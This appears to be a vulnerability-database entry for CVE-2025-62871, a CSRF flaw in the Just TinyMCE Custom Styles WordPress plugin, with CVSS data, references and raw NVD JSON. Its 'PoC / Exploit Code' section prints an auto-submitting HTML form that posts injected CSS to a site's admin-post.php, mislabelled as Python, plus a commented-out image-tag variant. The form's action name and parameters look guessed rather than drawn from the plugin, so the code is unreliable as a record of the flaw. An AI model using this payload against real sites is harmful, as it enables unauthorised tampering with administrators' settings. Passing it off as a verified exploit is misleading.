CVE-2025-62871

Description

Cross-Site Request Forgery (CSRF) vulnerability in Alex Prokopenko / JustCoded Just TinyMCE Custom Styles just-tinymce-styles allows Cross Site Request Forgery.This issue affects Just TinyMCE Custom Styles: from n/a through <= 1.2.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

just-tinymce-styles <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62871 -->
<!-- Just TinyMCE Custom Styles Plugin <= 1.2.1 -->
<!-- This PoC demonstrates a CSRF attack that could modify plugin settings -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-62871</title>
</head>
<body>
    <h1>CSRF PoC for Just TinyMCE Custom Styles Plugin</h1>
    <p>If you see this page, the attack was successful.</p>
    
    <!-- Auto-submit form to exploit CSRF vulnerability -->
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Plugin action to modify styles -->
        <input type="hidden" name="action" value="save_tinymce_styles">
        <input type="hidden" name="custom_styles" value="/* Malicious CSS injected via CSRF */">
        <input type="hidden" name="nonce" value="">
        <!-- Add other plugin-specific parameters as needed -->
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>Note: The 'nonce' field should be empty or guessable for the attack to work.
       In vulnerable versions, proper CSRF token validation is missing.</p>
</body>
</html>

<!-- Alternative: Using img tag for GET-based attacks (if applicable) -->
<!-- <img src="http://target-site.com/wp-admin/admin.php?page=just-tinymce-styles&action=malicious_action" width="0" height="0"> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62871
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62871
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62871/
[4] VulDB https://vuldb.com/cve/CVE-2025-62871
[5] https://patchstack.com/database/Wordpress/Plugin/just-tinymce-styles/vulnerability/wordpress-just-tinymce-custom-styles-plugin-1-2-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62871", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:04.203", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Alex Prokopenko / JustCoded Just TinyMCE Custom Styles just-tinymce-styles allows Cross Site Request Forgery.This issue affects Just TinyMCE Custom Styles: from n/a through <= 1.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/just-tinymce-styles/vulnerability/wordpress-just-tinymce-custom-styles-plugin-1-2-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}